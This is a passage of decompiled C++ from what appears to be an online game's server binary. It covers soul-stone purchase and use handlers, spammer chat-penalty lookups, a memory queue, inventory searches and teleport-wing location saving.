"ShineObjectClass::ShinePlayer::sp_PointStone_NotInit"); } //----- (00556CA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_HPStoneReserv(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HPStoneReserv"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_HPStoneReserv"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *((_DWORD *)v1 + 16534) <= clockwatch.cw_CurrTick ) { if ( *(_WORD *)((char *)v1 + 32205) && (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1252))(v1) && !(unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 40))(v1) ) ShineObjectClass::ShinePlayer::sp_HPStoneUse(v1); else *((_DWORD *)v1 + 16535) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HPStoneReserv"); } //----- (00556D70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SPStoneReserv(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SPStoneReserv"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SPStoneReserv"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *((_DWORD *)v1 + 16536) <= clockwatch.cw_CurrTick ) { if ( *(_WORD *)((char *)v1 + 32207) ) ShineObjectClass::ShinePlayer::sp_SPStoneUse(v1); else *((_DWORD *)v1 + 16537) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SPStoneReserv"); } //----- (00556E30) -------------------------------------------------------- void __stdcall ShineObjectClass::ShinePlayer::sp_NC_LOG_MAP_NOBASE_CMD(int netcmd, int len, __int16 handle) { char *v3; // eax@1 ZoneBaseSession *v4; // eax@3 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_LOG_MAP_NOBASE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_LOG_MAP_NOBASE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = *(_WORD *)netcmd; *(_DWORD *)(v3 + 2) = *(_DWORD *)(netcmd + 2); *(_DWORD *)(v3 + 6) = *(_DWORD *)(netcmd + 6); *(_DWORD *)(v3 + 10) = *(_DWORD *)(netcmd + 10); *(_DWORD *)(v3 + 14) = *(_DWORD *)(netcmd + 14); *(_DWORD *)(v3 + 18) = *(_DWORD *)(netcmd + 18); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 22) ) { v4 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gamelog); ProtocolPacket::pp_SendPacket(&gpp, v4); } else { AssertClass::ac_AssertFail(&shineassert, "WeddingHall::wh_Start : Packet Too Long", 22); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_LOG_MAP_NOBASE_CMD"); } //----- (00556F30) -------------------------------------------------------- void __userpurge ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_BUY_REQ(int a1, int a2, int netcmd, int len, __int16 handle) { int v5; // esi@1 unsigned __int16 v6; // di@5 int v7; // eax@5 int v8; // edi@6 int v9; // eax@8 int v10; // [sp+28h] [bp-4h]@1 v5 = a1; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_BUY_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_BUY_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; if ( !(_S5_59 & 1) ) { _S5_59 |= 1u; stru_130DEE94.cmc_AllowMode = 70; atexit(_E6_72); } if ( (1 << **(_BYTE **)(v5 + 3568)) & stru_130DEE94.cmc_AllowMode ) { v6 = (unsigned __int8)(*(int (__thiscall **)(int, int))(*(_DWORD *)v5 + 1236))(v5, a2); v7 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1176))(v5); if ( v6 > 0x96u ) v8 = *(_DWORD *)(v7 + 67672); else v8 = *(_DWORD *)(v7 + 4 * v6 + 67672); v9 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 2004))(v5); (*(void (__thiscall **)(int))(*(_DWORD *)v9 + 92))(v9); ShineObjectClass::ShinePlayer::sp_PointStoneBuy(v5, v8 + 28, *(_WORD *)(v5 + 32205), *(_WORD *)(netcmd + 2), 0); --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_BUY_REQ"); } else { --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_BUY_REQ"); } } //----- (005570B0) -------------------------------------------------------- void __userpurge ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_SP_BUY_REQ(int a1, int a2, int netcmd, int len, __int16 handle) { int v5; // esi@1 unsigned __int16 v6; // di@5 int v7; // eax@5 int v8; // edi@6 int v9; // eax@8 int v10; // [sp+28h] [bp-4h]@1 v5 = a1; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_BUY_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_BUY_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; if ( !(_S7_52 & 1) ) { _S7_52 |= 1u; stru_130DEE9C.cmc_AllowMode = 70; atexit(_E8_46); } if ( (1 << **(_BYTE **)(v5 + 3568)) & stru_130DEE9C.cmc_AllowMode ) { v6 = (unsigned __int8)(*(int (__thiscall **)(int, int))(*(_DWORD *)v5 + 1236))(v5, a2); v7 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1176))(v5); if ( v6 > 0x96u ) v8 = *(_DWORD *)(v7 + 67672); else v8 = *(_DWORD *)(v7 + 4 * v6 + 67672); v9 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 2004))(v5); (*(void (__thiscall **)(int))(*(_DWORD *)v9 + 92))(v9); ShineObjectClass::ShinePlayer::sp_PointStoneBuy(v5, v8 + 40, *(_WORD *)(v5 + 32207), *(_WORD *)(netcmd + 2), 1); --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_BUY_REQ"); } else { --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_BUY_REQ"); } } //----- (00557230) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_USE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char v5; // al@4 void *v6; // ecx@4 char v7; // al@5 int v8; // eax@8 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v10; // [sp+14h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_USE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_USE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_USE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; if ( !(_S11_21 & 1) ) { _S11_21 |= 1u; stru_130DEEA4.cmc_AllowMode = 86; atexit(_E12_33); } if ( !((1 << **((_BYTE **)v4 + 892)) & stru_130DEEA4.cmc_AllowMode) ) goto LABEL_24; v5 = (*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14470) + 20))((char *)v4 + 57880); v6 = v4; if ( v5 || (v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2536))(v4), v6 = v4, v7) ) goto LABEL_21; if ( !(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1252))(v4) || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 40))(v4) ) { LABEL_24: v6 = v4; LABEL_21: (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v4 + 772))(v6, 20, 6); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_USE_REQ"); return; } v8 = *(_DWORD *)((char *)v4 + 98); if ( v8 && *(_BYTE *)(*(_DWORD *)(v8 + 12) + 151) ) { if ( *(_DWORD *)((char *)v4 + 32209) < *((_DWORD *)v4 + 895) ) { if ( *((_DWORD *)v4 + 16534) <= clockwatch.cw_CurrTick ) { if ( *(_WORD *)((char *)v4 + 32205) ) { ShineObjectClass::ShinePlayer::sp_HPStoneUse(v4); v10 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v4 + 772))(v4, 20, 6); v10 = -1; FunctionEntarance::_FunctionEntarance(&_); } } else { if ( *(_WORD *)((char *)v4 + 32205) ) *((_DWORD *)v4 + 16535) = ShineObjectClass::ShinePlayer::sp_HPStoneReserv; v10 = -1; FunctionEntarance::_FunctionEntarance(&_); } } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 772))(v4, 20, 6); v10 = -1; FunctionEntarance::_FunctionEntarance(&_); } } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 772))(v4, 20, 6); v10 = -1; FunctionEntarance::_FunctionEntarance(&_); } } //----- (00557490) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_SP_USE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char v5; // al@4 void *v6; // ecx@4 int v7; // eax@12 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v9; // [sp+14h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_SP_USE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_SP_USE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_SP_USE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; if ( !(_S13_28 & 1) ) { _S13_28 |= 1u; stru_130DEEAC.cmc_AllowMode = 86; atexit(_E14_23); } if ( !((1 << **((_BYTE **)v4 + 892)) & stru_130DEEAC.cmc_AllowMode) ) goto LABEL_21; v5 = (*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14470) + 20))((char *)v4 + 57880); v6 = v4; if ( v5 ) { LABEL_8: (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v4 + 772))(v6, 20, 6); --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_SP_USE_REQ"); return; } if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2536))(v4) || *(_DWORD *)((char *)v4 + 32213) >= *((_DWORD *)v4 + 896) ) { LABEL_21: v6 = v4; goto LABEL_8; } if ( *((_DWORD *)v4 + 16536) <= clockwatch.cw_CurrTick ) { v7 = *(_DWORD *)((char *)v4 + 98); if ( v7 && *(_BYTE *)(*(_DWORD *)(v7 + 12) + 151) ) { if ( *(_WORD *)((char *)v4 + 32207) ) ShineObjectClass::ShinePlayer::sp_SPStoneUse(v4); else (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v4 + 772))(v4, 20, 6); } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 772))(v4, 20, 6); } } else { if ( *(_WORD *)((char *)v4 + 32207) ) *((_DWORD *)v4 + 16537) = ShineObjectClass::ShinePlayer::sp_SPStoneReserv; } v9 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (00557630) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 5u, 3u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005576E0) -------------------------------------------------------- void __thiscall SpamerPenaltyDataBox::SpamerPenaltyDataBox(SpamerPenaltyDataBox *this) { SpamerPenaltyDataBox *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->spdb_BinSpamerPenaltyRuleData.baseclass_0); v1->spdb_BinSpamerPenaltyRuleData.bdb_defaultblock.SecondRule = 0; v1->spdb_BinSpamerPenaltyRuleData.bdb_defaultblock.RepeatRule = 0; CCharacterTitleData::CCharacterTitleData(&v1->spdb_BinSpamerPenaltyData.baseclass_0); *(_DWORD *)&v1->spdb_BinSpamerPenaltyData.bdb_defaultblock.PenaltyLv = 0; HIBYTE(v1->spdb_BinSpamerPenaltyData.bdb_defaultblock.ProbateTime) = 0; } //----- (00557740) -------------------------------------------------------- void __thiscall SpamerPenaltyDataBox::_SpamerPenaltyDataBox(SpamerPenaltyDataBox *this) { BinaryData *v1; // esi@1 v1 = (BinaryData *)this; CCharacterTitleData::_CCharacterTitleData(&this->spdb_BinSpamerPenaltyData.baseclass_0); CCharacterTitleData::_CCharacterTitleData(v1); } //----- (00557790) -------------------------------------------------------- void __thiscall SpamerPenaltyDataBox::spdb_Load(SpamerPenaltyDataBox *this) { SpamerPenaltyDataBox *v1; // esi@1 v1 = this; BinaryDataBox::bdb_ReadData( &this->spdb_BinSpamerPenaltyRuleData, "../9Data/Hero/SpamerPenaltyRule.shn"); BinaryDataBox::bdb_ReadData(&v1->spdb_BinSpamerPenaltyData, "../9Data/Hero/SpamerPenalty.shn"); v1->spdb_SpamerPenaltyMaxNum = LOBYTE(v1->spdb_BinSpamerPenaltyData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord); } //----- (005577C0) -------------------------------------------------------- unsigned __int16 __thiscall SpamerPenaltyDataBox::spdb_SpamePenaltyGetSecondRule(SpamerPenaltyDataBox *this) { void *v1; // eax@2 if ( this->spdb_BinSpamerPenaltyRuleData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v1 = CDataReader::GetRecord(&this->spdb_BinSpamerPenaltyRuleData.baseclass_0.baseclass_0, 0); else v1 = &this->spdb_BinSpamerPenaltyRuleData.bdb_defaultblock; return ((signed int)(1374389535 * (unsigned __int64)*(_WORD *)v1 >> 32) >> 5) + ((unsigned int)(1374389535 * (unsigned __int64)*(_WORD *)v1 >> 32) >> 31); } //----- (005577F0) -------------------------------------------------------- char __thiscall SpamerPenaltyDataBox::spdb_SpamePenaltyGetRepeatRule(SpamerPenaltyDataBox *this) { char result; // al@2 if ( this->spdb_BinSpamerPenaltyRuleData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) result = *((_BYTE *)CDataReader::GetRecord(&this->spdb_BinSpamerPenaltyRuleData.baseclass_0.baseclass_0, 0) + 2); else result = this->spdb_BinSpamerPenaltyRuleData.bdb_defaultblock.RepeatRule; return result; } //----- (00557810) -------------------------------------------------------- bool __thiscall SpamerPenaltyDataBox::spdb_SpamePenaltyGetChatBlockTime(SpamerPenaltyDataBox *this, char PenaltyLv, unsigned __int16 *BlockTime) { SpamerPenaltyDataBox *v3; // ebp@1 unsigned int v4; // esi@1 void *v5; // eax@3 bool result; // al@7 v3 = this; v4 = 0; if ( this->spdb_SpamerPenaltyMaxNum ) { while ( 1 ) { v5 = v4 < v3->spdb_BinSpamerPenaltyData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v3->spdb_BinSpamerPenaltyData.baseclass_0.baseclass_0, v4) : &v3->spdb_BinSpamerPenaltyData.bdb_defaultblock; if ( PenaltyLv == *(_BYTE *)v5 ) break; ++v4; if ( (signed int)v4 >= v3->spdb_SpamerPenaltyMaxNum ) goto LABEL_7; } if ( v4 < v3->spdb_BinSpamerPenaltyData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) { *BlockTime = *(_WORD *)((char *)CDataReader::GetRecord(&v3->spdb_BinSpamerPenaltyData.baseclass_0.baseclass_0, v4) + 1); result = 1; } else { *BlockTime = v3->spdb_BinSpamerPenaltyData.bdb_defaultblock.ChatBlockTime; result = 1; } } else { LABEL_7: result = 0; } return result; } //----- (005578A0) -------------------------------------------------------- bool __thiscall SpamerPenaltyDataBox::spdb_SpamePenaltyGetProbateTime(SpamerPenaltyDataBox *this, char PenaltyLv, unsigned __int16 *ProbateTime) { SpamerPenaltyDataBox *v3; // ebp@1 unsigned int v4; // esi@1 void *v5; // eax@3 bool result; // al@7 v3 = this; v4 = 0; if ( this->spdb_SpamerPenaltyMaxNum ) { while ( 1 ) { v5 = v4 < v3->spdb_BinSpamerPenaltyData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v3->spdb_BinSpamerPenaltyData.baseclass_0.baseclass_0, v4) : &v3->spdb_BinSpamerPenaltyData.bdb_defaultblock; if ( PenaltyLv == *(_BYTE *)v5 ) break; ++v4; if ( (signed int)v4 >= v3->spdb_SpamerPenaltyMaxNum ) goto LABEL_7; } if ( v4 < v3->spdb_BinSpamerPenaltyData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) { *ProbateTime = *(_WORD *)((char *)CDataReader::GetRecord( &v3->spdb_BinSpamerPenaltyData.baseclass_0.baseclass_0, v4) + 3); result = 1; } else { *ProbateTime = v3->spdb_BinSpamerPenaltyData.bdb_defaultblock.ProbateTime; result = 1; } } else { LABEL_7: result = 0; } return result; } //----- (00557930) -------------------------------------------------------- void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this) { this->mq_Pointer.mask = 127; this->mq_Pointer.value = 0; } //----- (00557950) -------------------------------------------------------- unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, ShineItemAttr_BindItem::Bind *content) { unsigned int v3; // eax@1 char *v4; // eax@1 v3 = this->mq_Pointer.mask & (this->mq_Pointer.value + 1); this->mq_Pointer.value = v3; this->mq_Buffer[v3].handle = hnd; v4 = (char *)&this->mq_Buffer[this->mq_Pointer.value].content; *(_DWORD *)v4 = *(_DWORD *)&content->mapid; *((_DWORD *)v4 + 1) = *(unsigned int *)((char *)&content->x + 2); *((_WORD *)v4 + 4) = HIWORD(content->y); return LOWORD(this->mq_Pointer.value); } //----- (005579A0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_FindItemFromInventory(void *this, __int16 itemid, int loc) { void *v3; // esi@1 int v4; // ecx@1 int v5; // eax@2 int result; // eax@5 int *v7; // edx@6 __int16 v8; // ax@6 int v9; // eax@6 int v10; // esi@6 int *uii; // [sp+8h] [bp-2Ch]@4 char *v12; // [sp+Ch] [bp-28h]@4 int v13; // [sp+10h] [bp-24h]@4 int ibii; // [sp+14h] [bp-20h]@1 char *v15; // [sp+18h] [bp-1Ch]@1 int v16; // [sp+20h] [bp-14h]@4 int v17; // [sp+24h] [bp-10h]@4 int v18; // [sp+30h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_FindItemFromInventory"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_FindItemFromInventory"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (int)((char *)v3 + 35680); v18 = 0; ibii = (int)&ItemBoxIterator::_vftable_; v15 = (char *)v3 + 35680; if ( v3 == (void *)-142688 ) v5 = (*(int (**)(void))(*(_DWORD *)v4 + 8))(); else v5 = (*(int (__stdcall **)(char *))(*(_DWORD *)v4 + 4))((char *)v3 + 142688); v16 = v5; ibii = (int)&ItemBoxIterIdent::_vftable_; LOWORD(v17) = itemid; LOBYTE(v18) = 1; uii = &ibii; v12 = (char *)v3 + 57880; v13 = 9; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&uii) ) { v7 = uii; v8 = *(_WORD *)loc & 0x3FF | 0x2400; *(_WORD *)loc = v8; *(_WORD *)loc = v8 ^ (v8 ^ *((_WORD *)v7 + 4)) & 0x3FF; v9 = (**(int (__stdcall ***)(_DWORD))v7[1])(v7[2]); --funcallanalizer.fca_stackpoint; v10 = v9; ibii = (int)&ItemBoxIterator::_vftable_; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_FindItemFromInventory"); result = v10; } else { --funcallanalizer.fca_stackpoint; ibii = (int)&ItemBoxIterator::_vftable_; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_FindItemFromInventory"); result = 0; } return result; } // 63918C: using guessed type int (__thiscall *ItemBoxIterIdent___vftable_)(_DWORD); //----- (00557B20) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_SparrowWingExpand(void *this, signed int limit) { void *v2; // ebx@1 int v3; // eax@3 int v4; // ebp@3 int v5; // ecx@4 char *v6; // [sp-4h] [bp-9Ch]@6 ITEM_INVEN inven; // [sp+10h] [bp-88h]@1 FunctionEntarance _; // [sp+14h] [bp-84h]@1 char sparrow; // [sp+18h] [bp-80h]@7 unsigned __int8 v10; // [sp+22h] [bp-76h]@7 __int16 v11; // [sp+23h] [bp-75h]@8 int v12; // [sp+25h] [bp-73h]@8 int v13; // [sp+29h] [bp-6Fh]@8 __int16 v14; // [sp+84h] [bp-14h]@7 char v15; // [sp+86h] [bp-12h]@7 unsigned int v16; // [sp+88h] [bp-10h]@1 int v17; // [sp+94h] [bp-4h]@1 v2 = this; v16 = (unsigned int)&inven ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_SparrowWingExpand"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SparrowWingExpand"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_SparrowWingExpand"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v17 = 0; if ( limit > 10 ) limit = 10; v3 = ShineObjectClass::ShinePlayer::sp_FindItemFromInventory(v2, unk_131DF0F0, (int)&inven); v4 = v3; if ( v3 && (v5 = *(_DWORD *)(v3 + 112)) != 0 && (*(int (**)(void))(*(_DWORD *)v5 + 36))() == 13 ) { memcpy(&sparrow, (const void *)v4, 0x6Cu); v14 = *(_WORD *)(v4 + 108); v15 = *(_BYTE *)(v4 + 110); if ( v10 < limit ) { *(&v11 + 5 * v10) = -1; *(int *)((char *)&v12 + 10 * v10) = 10000; *(int *)((char *)&v13 + 10 * v10++) = 10000; ShineObjectClass::ShinePlayer::sp_AttrChange2DB(v2, v4, *(_DWORD *)(v4 + 112), (int)&sparrow, (int)&inven); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2332))(v2, 1792, 9); } v17 = -1; v6 = "ShineObjectClass::ShinePlayer::so_ply_SparrowWingExpand"; } else { v17 = -1; v6 = "ShineObjectClass::ShinePlayer::so_ply_SparrowWingExpand"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v6); __security_check_cookie((unsigned int)&inven ^ v16); } //----- (00557CA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_WING_SAVE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // ebx@1 int v5; // eax@5 int v6; // eax@8 const void *v7; // esi@8 int v8; // ecx@9 unsigned __int8 v9; // al@12 int v10; // esi@12 Name3 *v11; // esi@14 char *v12; // eax@16 FunctionEntarance _; // [sp+14h] [bp-8Ch]@1 ITEM_INVEN inven; // [sp+18h] [bp-88h]@8 int iic; // [sp+1Ch] [bp-84h]@8 ItemTotalInformation sparrow; // [sp+20h] [bp-80h]@12 unsigned int v17; // [sp+90h] [bp-10h]@1 int v18; // [sp+9Ch] [bp-4h]@1 v4 = this; v17 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_MAP_WING_SAVE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MAP_WING_SAVE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MAP_WING_SAVE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v18 = 0; if ( !(_S5_60 & 1) ) { _S5_60 |= 1u; stru_130DEF40.cmc_AllowMode = 70; atexit(_E6_73); } if ( !((1 << **((_BYTE **)v4 + 892)) & stru_130DEF40.cmc_AllowMode) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 6, 21, 4422); LABEL_19: --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MAP_WING_SAVE_REQ"); goto LABEL_20; } v5 = *(_DWORD *)((char *)v4 + 98); if ( !v5 ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 6, 21, 4419); goto LABEL_19; } if ( !*(_BYTE *)(*(_DWORD *)(v5 + 12) + 100) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 6, 21, 4419); goto LABEL_19; } v6 = ShineObjectClass::ShinePlayer::sp_FindItemFromInventory(v4, unk_131DF0F0, (int)&inven); v7 = (const void *)v6; iic = v6; if ( v6 && (v8 = *(_DWORD *)(v6 + 112)) != 0 && (*(int (**)(void))(*(_DWORD *)v8 + 36))() == 13 ) { v9 = *(_BYTE *)(netcmd + 2); memcpy(&sparrow, v7, 0x6Cu); v10 = (int)((char *)v7 + 108); *(_WORD *)((char *)&sparrow.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = *(_WORD *)v10; BYTE3(sparrow.iti_itemstruct.itemattr.binditem.portal[9].y) = *(_BYTE *)(v10 + 2); if ( v9 < sparrow.iti_itemstruct.itemattr.blot.lot ) { v11 = *(Name3 **)((char *)v4 + 98); if ( v11 && (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2692))(v4) ) { v12 = NameString::operator__(&namestring, v11); *(unsigned __int16 *)((char *)&sparrow.iti_itemstruct.itemattr.wlot.lot + 10 * *(_BYTE *)(netcmd + 2) + 1) = MapDataBox::mdb_2mapid(&mapdatabox, v12); *(unsigned int *)((char *)&sparrow.iti_itemstruct.itemattr.dlot.lot + 10 * *(_BYTE *)(netcmd + 2) + 3) = **(_DWORD **)((char *)v4 + 78); *(SHINE_PUT_ON_BELONGED_ITEM *)((char *)&sparrow.iti_itemstruct.itemattr.amulet.IsPutOnBelonged + 10 * *(_BYTE *)(netcmd + 2) + 3) = *(_DWORD *)(*(_DWORD *)((char *)v4 + 78) + 4); ShineObjectClass::ShinePlayer::sp_AttrChange2DB(v4, iic, *(_DWORD *)(iic + 112), (int)&sparrow, (int)&inven); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v4 + 2332))(v4, 1792, 9); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 6, 21, 4417); } v18 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 